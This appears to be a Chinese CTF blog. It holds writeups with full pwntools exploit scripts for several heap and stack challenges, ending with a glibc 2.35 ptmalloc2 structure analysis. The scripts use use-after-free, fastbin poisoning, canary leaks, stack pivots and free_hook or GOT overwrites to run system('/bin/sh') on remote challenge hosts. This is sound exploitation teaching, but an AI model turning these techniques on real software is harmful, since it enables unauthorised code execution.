 //can't reach here
 assert(0);
 return NULL;
}

void free(void *mem)
{
 mchunkptr p; /* chunk corresponding to mem */
 INTERNAL_SIZE_T size; /* its size */
 mchunkptr nextchunk; /* next contiguous chunk */
 INTERNAL_SIZE_T nextsize; /* its size */
 int nextinuse; /* true if nextchunk is used */
 INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
 mchunkptr bck; /* misc temp for linking */
 mchunkptr fwd; /* misc temp for linking */
 if (__builtin_expect (hook != NULL, 0))
 {
 (*hook)(mem);
 return;
 }
 if(mem == NULL){
 return;
 }
 p = mem2chunk (mem);
 size = chunksize(p);
 nextchunk = chunk_at_offset(p, size);
 nextsize = chunksize(nextchunk);
 /* consolidate backward */
 if (!prev_inuse(p)) {
 prevsize = prev_size (p);
 size += prevsize;
 p = chunk_at_offset(p, -((long) prevsize));
 if (__glibc_unlikely (chunksize(p) != prevsize))
 malloc_printerr ("corrupted size vs. prev_size while consolidating");
 unlink_chunk (p);
 }
 if (nextchunk != main_arena.top) {
 /* get and clear inuse bit */
 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
 /* consolidate forward */
 if (!nextinuse) {
	 unlink_chunk (nextchunk); 
	 size += nextsize;
 } else
	 clear_inuse_bit_at_offset(nextchunk, 0);
 bck = bin_at(&main_arena, 1);
 fwd = bck->fd;
 //if (__glibc_unlikely (fwd->bk != bck))
	//malloc_printerr ("free(): corrupted unsorted chunks");
 p->fd = fwd;
 p->bk = bck;
 bck->fd = p;
 fwd->bk = p;

 set_head(p, size | PREV_INUSE);
 set_foot(p, size);
 //check_free_chunk(av, p);
 }
 /*
 If the chunk borders the current high end of memory,
 consolidate into top
 */
 else {
 size += nextsize;
 set_head(p, size | PREV_INUSE);
 main_arena.top = p;
 //check_chunk(av, p);
 }
}

void *calloc(size_t count, size_t size) { TODO(); return NULL;}
void *realloc(void *ptr, size_t size) { TODO(); return NULL;}
void *reallocf(void *ptr, size_t size) { TODO(); return NULL;}
void *valloc(size_t size) { TODO(); return NULL;}
void *aligned_alloc(size_t alignment, size_t size) { TODO(); return NULL;}
static void
unlink_chunk (mchunkptr p)
{
 if (chunksize (p) != prev_size (next_chunk (p)))
 malloc_printerr ("corrupted size vs. prev_size");

 mchunkptr fd = p->fd; 
 mchunkptr bk = p->bk;

 //if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
 //malloc_printerr ("corrupted double-linked list");

 fd->bk = bk;
 bk->fd = fd;
}
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av){
 INTERNAL_SIZE_T size;
 mchunkptr p;

 size = nb + mp_.top_size;
 if(av->top == NULL){
 start = sbrk(0);
 p = sbrk(size);
 main_arena.top = chunk_at_offset(p, nb);
 set_head(p, nb | PREV_INUSE);
 set_foot(p, nb);
 set_head(main_arena.top, mp_.top_size | PREV_INUSE);
 return chunk2mem(p);
 }
 else{
 TODO();
 }
}
static void
malloc_init_state (mstate av)
{
 int i;
 mbinptr bin;

 /* Establish circular links for normal bins */
 for (i = 1; i < 2; ++i)
 {
 bin = bin_at (av, i);
 bin->fd = bin->bk = bin;
 }
}

魔改了 ptmalloc2 ，只留下 unsortedbin 功能，而且还有 size < nb 会卡死的问题

free 有 hook 可以劫持

IDA

main

菜单题

add

delete

free 后没清空，有 UAF

edit

UAF ，同时可用于实现 AAW

show

可泄露 unsortedbin 的哨兵地址，同时可用于实现 AAR

gift

劫持 hook

bss

攻击思路

注意到 usortedbin 的哨兵存在于 bss 段，考虑 free 掉一个 chunk 进入 usortedbin 去 leak pie ，注意避免该 chunk 被并入 top_chunk

然后通过在 bss 段上伪造包含 notes 区域的 fake chunk 并将 fake chunk 地址写入 free chunk 再 malloc 以获取 AAW 和 AAR 的能力

最后 leak libc 并劫持 hook 为 system ，再往一个 chunk 内写入 ‘/bin/sh\x00’ 并 free 掉即可提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./vuln_patched')
else:
	io = remote('cloud-middle.hgame.vidar.club', 31275)

libc = ELF('./libc.so.6')

ssiz = 0x30
prosiz = 0x100

def madd(idx, size):
	io.sendlineafter(b'>\n', b'1')
	io.sendlineafter(b'Index: ', str(idx).encode())
	io.sendlineafter(b'Size: ', str(size).encode())

def mdelete(idx):
	io.sendlineafter(b'>\n', b'2')
	io.sendlineafter(b'Index: ', str(idx).encode())

def medit(idx, cont):
	io.sendlineafter(b'>\n', b'3')
	io.sendlineafter(b'Index: ', str(idx).encode())
	io.sendafter(b'Content: ', cont)

def mshow(idx):
	io.sendlineafter(b'>\n', b'4')
	io.sendlineafter(b'Index: ', str(idx).encode())

def mexit():
	io.sendlineafter(b'>\n', b'5')

def mgift(addr):
	io.sendlineafter(b'>\n', b'6')
	io.sendlineafter(b'hook\n', hex(addr).encode())

def AAW(addr, cont):
	medit(10, (p64(prosiz) * 4).ljust(0x30, b'\x00') + p64(addr))
	medit(0, cont)

def AAR(addr):
	medit(10, (p64(prosiz) * 4).ljust(0x30, b'\x00') + p64(addr))
	mshow(0)

def attack():
	madd(0, ssiz)
	madd(12, ssiz)
	mdelete(0)
	mshow(0)
	completed_0_addr = u64(io.recv(6).ljust(8, b'\x00'))
	pie_leak = completed_0_addr - 0x808
	log.info(f'pie_leak = {hex(pie_leak)}')

	saddr = pie_leak + 0x840
	medit(0, p64(saddr))
	madd(8, ssiz)
	medit(0, p64(completed_0_addr) + p64(saddr))
	madd(2, ssiz)
	madd(10, ssiz - 0x8)
	medit(10, p64(prosiz) * 4)

	AAR(pie_leak + 0x7a0)
	__libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00'))
	libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
	log.info(f'libc_base_addr = {hex(libc_base_addr)}')
	
	system_addr = libc_base_addr + libc.symbols['system']
	mgift(system_addr)
	AAW(pie_leak + 0xa00, b'/bin/sh\x00')
	mdelete(0)
	
	io.interactive()

attack()

adrift

checksec

Full RELRO 和 PIE

IDA

main

case 1 处发现可以使 i = 201 ，从而发生数组越界写向 dis 写入数据，同时有栈溢出

写入后清空栈上内容

case 3 可以填满 dis ，用于辅助 case 1 的越界写

init_canary

手动 canary ，放在栈上

delete

show

在 short int 下 -(-32768) = -32768 ，可以造成数组越界读取，且恰好读取到 canary ，同时可 leak stack

并注意到整个程序只有这里有读取，因此想要 leak pie 或 leak libc 必须要把数据写入 dis 中

bss

攻击思路

首先 leak canary ，然后通过把栈上数据 copy 到 dis 上去 leak pie

然后栈迁移到 bss 上去 leak stderr 从而拿到 libc 基址，注意此处不能 leak stdin ，因为向 dis 写入完成后原数据区域会被清空，导致后面的 scanf 处崩溃；也不能 leak got ，因为 Full RELRO ，且 case 1 有写入栈的操作

最后 ret2libc 即可

libc 版本我用 libcdb 没试出来，最后发现跟上一题一样

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./vuln_patched')
else:
	io = remote('cloud-middle.hgame.vidar.club', 31603)

def moverflow(cont, dirt):
	io.sendlineafter(b'choose> ', b'0')
	io.sendafter(b'way> ', cont)
	io.sendlineafter(b'distance> ', str(dirt).encode())

def mdelete(idx):
	io.sendlineafter(b'choose> ', b'1')
	io.sendlineafter(b'index> ', str(idx).encode())

def mshow(idx):
	io.sendlineafter(b'choose> ', b'2')
	io.sendlineafter(b'index> ', str(idx).encode())

def mdis(idx):
	io.sendlineafter(b'choose> ', b'3')
	io.sendlineafter(b'index> ', str(idx).encode())
	io.sendlineafter(b'distance> ', b'1')

def mexit():
	io.sendlineafter(b'choose> ', b'4')

def canary_leak():
	mshow(-32768)
	io.recvuntil(b': ')
	canary = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
	log.info(f'canary = {hex(canary)}')
	return canary


def mleak(idx, name, offset):
	mshow(idx)
	io.recvuntil(b': ')
	leak = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
	log.info(f'{name} leak = {hex(leak - offset)}')
	libcdict_add(name, leak - offset)
	return leak - offset

def attack():
	for i in range(201):
		mdis(i)

	canary = canary_leak()

	moverflow(p64(0), 1)
	mshow(114)
	io.recvuntil(b': ')
	pie = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10) // 0x10000 - 0x040
	log.info(f'pie = {hex(pie)}')

	for i in range(201):
		mdis(i)

	midx = 100
	pov_addr = pie + 0x4080 + 0x518 * midx
	mdelete(midx)
	bss_addr = pie + 0x4040
	bss_leaker = bss_addr + 0x3fa
	again_addr = pie + 0x14F3
	payload = p64(bss_leaker) + p64(again_addr)
	moverflow(payload, 1)
	mdelete(0)
	leave_addr = pie + 0x1721
	payload = b'A' * (0x3fa - 0x10) + p64(canary) + b'A' * 8 + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mdelete(1)
	mexit()
	io.sendlineafter(b'distance> ', b'1')

	midx = 150
	pov_addr = pie + 0x4080 + 0x518 * midx
	mdelete(midx)
	pov_leaker = pie + 0x4080 + 0x510 + 0x3fa
	again_addr = pie + 0x14F3
	payload = p64(pov_leaker) + p64(again_addr)
	moverflow(payload, 1)
	mdelete(2)
	payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mexit()
	io.sendlineafter(b'distance> ', b'1')
	stderr_leak = mleak(0, '_IO_2_1_stderr_', 0)

	for i in range(201):
		mdis(i)

	libc = ELF('./libc.so.6')
	libc_base = stderr_leak - libc.symbols['_IO_2_1_stderr_']
	log.info(f'libc_base = {hex(libc_base)}')

	for i in range(10):
		mdis(i)

	midx = 10
	pov_addr = pie + 0x4080 + 0x518 * midx
	rbp_addr = pie + 0x4080 + 0x518 * midx * 2
	pop_rdi_ret = libc_base + 0x2a3e5
	system_addr = libc_base + libc.symbols['system']
	bin_sh = libc_base + next(libc.search(b'/bin/sh'))
	mdelete(midx)
	ret_addr = pie + 0x1722
	payload = p64(rbp_addr) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
	moverflow(payload, 1)
	mdelete(0)
	payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mexit()
	io.interactive()

attack()

BUUCTF-NewStarCTF-2023-ezheap 题解

Fri, 16 Jan 2026 21:49:00 +0000

题目

题目链接

checksec

全开

IDA

main

菜单题

add

一次 add 申请两个 chunk ，记为 head_chunk 和 content_chunk

delete

有明显的 UAF 漏洞

show

delete 后仍可以 show

edit

delete 后仍可以 edit

read_idx

read_size

攻击思路

由于一次 add 申请两个 chunk ，而一次 delete 只 free 掉 head_chunk 且不清空数据，而 delete 后仍可以 edit，所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权，进而利用 edit/show 实现 AAW/AAR

同时，在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ，我们可以利用 chunk 的残留值泄露堆地址，实现对堆的完全控制

然而由于我们并没有操作栈的机会，也没有办法劫持 got 表，因此我们考虑去劫持 __free_hook 函数，这需要泄露 libc 基址

由于 tcache 的结构存在于堆上，而 fastbin 为单向链表，我们没有办法通过它们去泄露 libc 基址，因此考虑 unsorted_bin ，因为进入 unsorted_bin 的 chunk 的 fd/bk 指向 arena ，而 arena 与 libc 基址的相对偏移固定

由于强行塞满 tcache 所需的 chunk 数量过多，不方便操作，因此我们考虑直接修改位于堆上的 counts 数组，使 tcache 看起来是满的

为了绕开 fastbin ，我们考虑使用 size 为 0x90 的 chunk ，同时把对应 tcache 的 counts 设为 7

但是程序只允许 free 掉 0x30 的 chunk ，所以我们需要伪造一个 fake chunk 去绕过安全检测

我们需要伪造的有：

chunk_size = 0x91
chunk_prev_size = 0x30
next_chunk_prev_size = 0x90
next_chunk_prev_inuse_bit = 1
next_chunk_size 合法，且保险起见，不要让它与 top_chunk 重叠

利用 AAW 伪造完成后， delete 掉 fake_chunk 即可使之进入 unsorted_bin ，再利用 AAR 即可泄露 libc 基址

最后利用 AAW 劫持 __free_hook 为 system 并往一个 head_chunk 中写入 /bin/sh\x00 ，再 delete 掉这个 head_chunk 即可提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./pwn')
else:
	p = remote('node5.buuoj.cn', 28814)

def padd(idx, size, content):
	p.recvuntil(b'>>\n')
	p.sendline(b'1')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())
	p.recvuntil(b'size: ')
	p.sendline(str(size).encode())
	p.recvuntil(b'note: ')
	p.sendline(content)

def pdelete(idx):
	p.recvuntil(b'>>\n')
	p.sendline(b'2')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())

def pshow(idx):
	p.recvuntil(b'>>\n')
	p.sendline(b'3')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())

def pedit(idx, content):
	p.recvuntil(b'>>\n')
	p.sendline(b'4')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())
	p.recvuntil(b'content: ')
	p.send(content)
	
def pwrite(addr, val):
	payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
	pedit(2, payload)
	pedit(0, val)
	
def pread(addr):
	payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
	pedit(2, payload)
	pshow(0)
	
def attack():
	padd(3, 0x20, b'')
	padd(0, 0x20, b'')
	padd(1, 0x20, b'')
	pdelete(3)
	pdelete(0)
	pdelete(1)
	padd(2, 0x20, b'') 
	pshow(2)
	p.recvuntil(b'\n')
	heap3_addr = u64(p.recv(6).ljust(8, b'\x00'))
	log.info(f'heap3_addr = {hex(heap3_addr)}')
	pwrite(heap3_addr // 0x1000 * 0x1000 + 0x10 + 0x2 * 7, p64(7))
	padd(4, 0x28, b'A' * 0x20 + p64(0x30))
	padd(5, 0x70, b'')
	pwrite(heap3_addr + 0x28 + 6 * 0x30, p64(0x91))
	pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90, p64(0x21))
	pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90 - 8, p64(0x90))
	pdelete(5)
	pread(heap3_addr + 0x28 + 6 * 0x30 + 0x8)
	p.recvuntil(b'\n')
	bins0_addr = u64(p.recv(6).ljust(8, b'\x00'))
	log.info(f'bins0_addr = {hex(bins0_addr)}')
	libc_addr = bins0_addr - 0x1cabe0
	log.info(f'libc_addr = {hex(libc_addr)}')
	__free_hook_addr = libc_addr + 0x1cce48
	log.info(f'__free_hook_addr = {hex(__free_hook_addr)}')
	system_addr = libc_addr + 0x30290
	log.info(f'system_addr = {hex(system_addr)}')
	pwrite(heap3_addr, b'/bin/sh\x00')
	pwrite(__free_hook_addr, p64(system_addr))
	pdelete(4)
	p.interactive()

attack()

BUUCTF-ZJCTF-2019-EasyHeap 题解

Tue, 13 Jan 2026 23:47:00 +0000

题目

题目链接

checksec

IDA

main

菜单题

create

delete

edit

有明显的堆溢出，考虑通过 fastbin 获取在 heaparray 附近的 fake chunk ，再劫持 heaparray 以实现任意地址写

got

systemplt

构造合适位置的 fake chunk

0x6020ad 处有满足 size = 0x7f 的 fake chunk ，故申请 0x68 字节，使用 0x70 的 fastbin 链表

攻击思路

先利用堆溢出漏洞劫持已进入 fastbin 的 chunk 的 fd 指针为 fake chunk 地址 0x6020ad

再通过 malloc 申请这块 fake chunk ，同时在 fake chunk 写入 payload 劫持 heaparray[0]

由于我们希望通过 system("/bin/sh") 提权，然而 elf 中并没有 “/bin/sh” 字符串，这需要我们手动写入

更坏的是，我们似乎并没有操纵栈的机会，只能通过劫持 got 表短暂地劫持程序流程，，，

所以这里有一个巧妙的方法：注意到 system 的参数为 rdi ，所以我们可以把 free 劫持为 system_plt ，由于 free 的参数是我们自己可以设定的，通过在某个索引为 idx 的 chunk 上写入 “/bin/sh\x00” ，调用 delete_heap(idx) 后即可执行 system("/bin/sh") 提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./easyheap')
else:
	p = remote('node5.buuoj.cn', 26200)

def pcreate(size, content):
	p.recvuntil(b'choice :')
	p.sendline(b'1')
	p.recvuntil(b'Heap : ')
	p.sendline(str(size).encode())
	p.recvuntil(b'heap:')
	p.sendline(content)
	
def pedit(index, size, content):
	p.recvuntil(b'choice :')
	p.sendline(b'2')
	p.recvuntil(b'Index :')
	p.sendline(str(index).encode())
	p.recvuntil(b'Heap : ')
	p.sendline(str(size).encode())
	p.recvuntil(b'heap : ')
	p.sendline(content)
	
def pdelete(index):
	p.recvuntil(b'choice :')
	p.sendline(b'3')
	p.recvuntil(b'Index :')
	p.sendline(str(index).encode())

def attack():
	pcreate(0x68, b'')
	pcreate(0x68, b'')
	pcreate(0x68, b'')
	pdelete(2)

	payload = b'A' * 0x68 + p64(0x7f) + p64(0x6020ad)
	pedit(1, len(payload), payload)

	pcreate(0x68, b'')
	payload = b'A' * 35 + p64(0x602018)
	pcreate(0x68, payload)

	payload = p64(0x400700)
	pedit(0, len(payload), payload)

	payload = b'/bin/sh\x00'
	pedit(1, len(payload), payload)

	pdelete(1)

	p.interactive()

attack()

glibc-2.35 ptmalloc2 分析

Mon, 08 Dec 2025 19:07:00 +0000

重要结构

常数速查

以 64 位为准

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


SIZE_SZ 8
MALLOC_ALIGNMENT 16
MALLOC_ALIGN_MASK 0b1111
MINSIZE 32
TCACHE_MAX_BINS 64
TCACHE_FILL_COUNT 7
CHUNK_HDR_SZ 16
SMALLBIN_WIDTH 16
SMALLBIN_CORRECTION 0
MIN_LARGE_SIZE 1024

chunk

chunk 是内存分配的基本单位，它其实是一个内存块。chunk 被分配 (malloc) 后能够存储用户数据，空闲时 (free) 能够插入 bin 中，随时做好被分配的准备。

程序向操作系统申请一块连续的堆区域后，该块区域整体初始化为一个 top chunk ，第一次 malloc 的操作可以理解为从 top chunk 中分割出一块内存供程序使用。

我们把 chunk 划分为两个部分： chunk_header 和 chunk_content

1
2
3
4
5
6
7
8
9


+--------------------+ 低地址
| chunk_header |
+--------------------+
| |
| |
| chunk_content |
| |
| |
+--------------------+ 高地址

下面的 malloc_chunk 中的 mchunk_prev_size 和 mchunk_size 即 chunk_header

malloc_chunk 结构体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


struct malloc_chunk {

 INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
 INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */

 struct malloc_chunk* fd; /* double links -- used only if free. */
 struct malloc_chunk* bk;

 /* Only used for large blocks: pointer to next larger size. */
 struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
 struct malloc_chunk* bk_nextsize;
};

主要字段说明如下：

mchunk_prev_size ：8 字节，简称 prev_size，表示前一个 chunk 的大小。
mchunk_size ：8 字节，简称 size ，表示当前 chunk 的大小。size 的低 3 位是标志位，3 个标志说明如下：
- PREV_INUSE ( P 位)：最低位，表示前一个 chunk 是否在某个 bin 中，0 表示前一个 chunk 在某个 bin 中，1 表示前一个 chunk 不在任何 bin 中。
- IS_MMAPPED ( M 位)：第二低位，表示当前 chunk 是否通过 mmap 分配， 1 是 0 否。若 M 位为 1 ，则忽略 A 位和 P 位。
- NON_MAIN_ARENA ( A 位)：第三低位，表示当前 chunk 是否属于主线程的分配区（ malloc_state ）， 0 是 1 否。
fd ：8 字节，指向下一个（先进入链表）空闲 chunk 的指针。这个字段仅在当前 chunk 是空闲时有效。如果当前 chunk 已分配，那么fd字段被复用为可用内存（ 8 字节）。
bk ：指向前一个（后进入链表）空闲 chunk 的指针。该字段和fd功能类似。
fd_nextsize ：8 字节，largebins 中指向下一个（先进入链表）比当前 chunk 小的空闲 chunk 。用于 largebins 快速查找不同大小的空闲 chunk ，提高分配效率，如果当前 chunk 是已分配的，那么 fd_nextsize 字段被复用为可用内存（ 8 字节）。
bk_nextsize ：8 字节，largebins 中指向前一个（后进入链表）比当前 chunk 大的空闲 chunk ，和 fd_nextsize 功能类似。

malloc_state 结构体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


struct malloc_state
{
 /* Serialize access. */
 __libc_lock_define (, mutex);

 /* Flags (formerly in max_fast). */
 int flags;

 /* Set if the fastbin chunks contain recently inserted free blocks. */
 /* Note this is a bool but not all targets support atomics on booleans. */
 int have_fastchunks;

 /* Fastbins */
 mfastbinptr fastbinsY[NFASTBINS];

 /* Base of the topmost chunk -- not otherwise kept in a bin */
 mchunkptr top;

 /* The remainder from the most recent split of a small request */
 mchunkptr last_remainder;

 /* Normal bins packed as described above */
 mchunkptr bins[NBINS * 2 - 2];

 /* Bitmap of bins */
 unsigned int binmap[BINMAPSIZE];

 /* Linked list */
 struct malloc_state *next;

 /* Linked list for free arenas. Access to this field is serialized
 by free_list_lock in arena.c. */
 struct malloc_state *next_free;

 /* Number of threads attached to this arena. 0 if the arena is on
 the free list. Access to this field is serialized by
 free_list_lock in arena.c. */
 INTERNAL_SIZE_T attached_threads;

 /* Memory allocated from the system in this arena. */
 INTERNAL_SIZE_T system_mem;
 INTERNAL_SIZE_T max_system_mem;
};

struct malloc_state 是 glibc 内存分配器的核心数据结构，通常被称为 Arena 。它保存了一个分配区的所有元数据、空闲链表状态以及统计信息。

以下是对其所有成员的深度解析：

1. 并发控制与标志

__libc_lock_define (, mutex);
- 用途：互斥锁。
- 解析：由于多个线程可能共享同一个 Arena，在进行分配或释放操作（修改 Bins 链表等）之前，线程必须先获取这把锁。主分配区和线程分配区都靠它实现线程安全。
int flags;
- 用途：分配区状态标志。
- 解析：存储一些底层状态。最重要的是 CONTIGUOUS_BIT (0x2) ，用于标记该 Arena 管理的内存空间是否是连续的（主分配区通常是连续的，通过 brk 扩展；非主分配区由多个 mmap 堆组成，可能不连续）。
int have_fastchunks;
- 用途：快速标记 fastbins 是否为空。
- 解析：这是一个布尔优化的标志。当有块进入 fastbin 时设为 1。在 malloc 的某些路径（如 malloc_consolidate ）中，它会先检查这个位，如果是 0 就直接跳过，从而节省扫描整个 fastbinsY 数组的时间。

2. 核心堆块容器 (Bins)

mfastbinptr fastbinsY[NFASTBINS];
- 用途：Fastbins 链表数组。
- 解析：专门处理小内存块（默认 64 位下 16~128 字节）的单向链表。Fastbin 中的块不会被合并（除非触发 consolidate），因此分配速度极快。NFASTBINS 通常为 10。
mchunkptr top;
- 用途：Top Chunk 指针。
- 解析：指向当前 Arena 中位置最高、也是最后一块待分配的大内存区域。当所有的 Bins（Fast, Small, Large, Unsorted）都无法满足分配需求时，malloc 会从 Top Chunk 中“切”出一块内存。如果 Top Chunk 也不够，则会调用 sbrk 或 mmap 向系统申请。
mchunkptr last_remainder;
- 用途：Last Remainder Chunk。
- 解析：这是一种特殊优化。当分配一个 Small Chunk，而 Unsorted Bin 中只有一块较大的空闲块时，大块会被分割，剩下的部分就存放在 last_remainder。这样可以提高局部性，即连续的小分配请求更有可能来自同一物理区域。
mchunkptr bins[NBINS * 2 - 2];
- 用途：普通 Bins 数组（Unsorted, Small, Large）。
- 解析：这是 malloc 的主要仓库。
  - 它是双向链表。
  - bins[0] 不使用，bins[1] 是 Unsorted Bin（最近释放且未分类的块）。
  - 后续是 Small Bins（固定大小）和 Large Bins（范围大小）。
  - 为什么是 * 2？因为每个 bin 需要一对 fd（前驱）和 bk（后继）指针来表示链表头。

3. 查询优化

unsigned int binmap[BINMAPSIZE];
- 用途：Bins 位图。
- 解析：为了快速定位哪个 bin 里有空闲内存。位图中的每一位对应 bins 数组中的一个 bin。malloc 使用位运算指令（如 ffs ）快速找到非空的 bin，而不需要遍历 126 个 bin。

4. 链表结构与统计

struct malloc_state *next;
- 用途：全局 Arena 链表。
- 解析：所有的 Arena 都通过这个指针连成一串。main_arena 位于链表首部。当线程找不到可用 Arena 时，会沿着这个指针寻找。
struct malloc_state *next_free;
- 用途：空闲 Arena 链表。
- 解析：当一个线程退出时，它绑定的 Arena 会被放入这个“空闲链表”，以便下一个新创建的线程复用。
INTERNAL_SIZE_T attached_threads;
- 用途：引用计数。
- 解析：统计当前有多少个线程正在使用（绑定）这个 Arena。这有助于 glibc 决定是否需要创建新的 Arena 来降低竞争。
INTERNAL_SIZE_T system_mem;
- 用途：当前分配区占用的系统内存总量。
- 解析：记录了从操作系统（brk/mmap）拿到的总字节数。
INTERNAL_SIZE_T max_system_mem;
- 用途：历史峰值内存。
- 解析：记录 system_mem 曾达到的最大值。

malloc_par 结构体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


struct malloc_par
{
 /* Tunable parameters */
 unsigned long trim_threshold;
 INTERNAL_SIZE_T top_pad;
 INTERNAL_SIZE_T mmap_threshold;
 INTERNAL_SIZE_T arena_test;
 INTERNAL_SIZE_T arena_max;

#if HAVE_TUNABLES
 /* Transparent Large Page support. */
 INTERNAL_SIZE_T thp_pagesize;
 /* A value different than 0 means to align mmap allocation to hp_pagesize
 add hp_flags on flags. */
 INTERNAL_SIZE_T hp_pagesize;
 int hp_flags;
#endif

 /* Memory map support */
 int n_mmaps;
 int n_mmaps_max;
 int max_n_mmaps;
 /* the mmap_threshold is dynamic, until the user sets
 it manually, at which point we need to disable any
 dynamic behavior. */
 int no_dyn_threshold;

 /* Statistics */
 INTERNAL_SIZE_T mmapped_mem;
 INTERNAL_SIZE_T max_mmapped_mem;

 /* First address handed out by MORECORE/sbrk. */
 char *sbrk_base;

#if USE_TCACHE
 /* Maximum number of buckets to use. */
 size_t tcache_bins;
 size_t tcache_max_bytes;
 /* Maximum number of chunks in each bucket. */
 size_t tcache_count;
 /* Maximum number of chunks to remove from the unsorted list, which
 aren't used to prefill the cache. */
 size_t tcache_unsorted_limit;
#endif
};

struct malloc_par（通常在源码中以全局变量 mp_ 形式存在）是 glibc 内存分配器的全局配置参数表。

与 malloc_state（管理具体的内存块）不同，malloc_par 负责控制分配器的整体行为策略（如：什么时候用 mmap 而不是 sbrk ？ Tcache 的限制是多少？）。

以下是所有成员的分块解析：

1. 核心可调参数 (Tunables) 这些参数直接影响分配器的性能和内存碎片控制：

unsigned long trim_threshold;
- 用途：收缩阈值。
- 解析：当 top chunk 的大小超过这个值时，malloc 会尝试调用 malloc_trim 将空闲内存归还给操作系统。默认通常为 128KB。
INTERNAL_SIZE_T top_pad;
- 用途：堆顶填充。
- 解析：每次通过 sbrk 扩展堆时，会额外申请这么多的空间，以减少未来频繁调用系统调用的次数。
INTERNAL_SIZE_T mmap_threshold;
- 用途：mmap 阈值（非常关键）。
- 解析：当申请的字节数大于此值时，malloc 不从堆分配，而是直接调用 mmap。这有助于防止大块内存产生的空洞阻塞堆的收缩。
INTERNAL_SIZE_T arena_test;
- 用途：Arena 冲突检测阈值。
- 解析：用于决定何时创建新 Arena。在 64 位系统上，通常在 CPU 核心数较多时，以此为参考动态增加 Arena 数量。
INTERNAL_SIZE_T arena_max;
- 用途：Arena 最大数量限制。
- 解析：限制进程可以创建的 Arena 总数（通常 64 位下为 8 * 核心数）。防止 Arena 过多导致内存浪费。

2. 大页内存支持 (Large Pages)

INTERNAL_SIZE_T thp_pagesize;：透明大页（Transparent Large Pages）的大小。
INTERNAL_SIZE_T hp_pagesize;：显式大页（Huge Pages）的大小。
int hp_flags;：调用 mmap 时传递给内核的大页标志位（如 MAP_HUGETLB ）。

3. Mmap 状态与动态阈值

int n_mmaps;：当前正在使用的通过 mmap 分配的块的数量。
int n_mmaps_max;：历史上同时存在的 mmap 块的最大数量。
int max_n_mmaps;：允许的 mmap 块的最大数量限制。
int no_dyn_threshold;
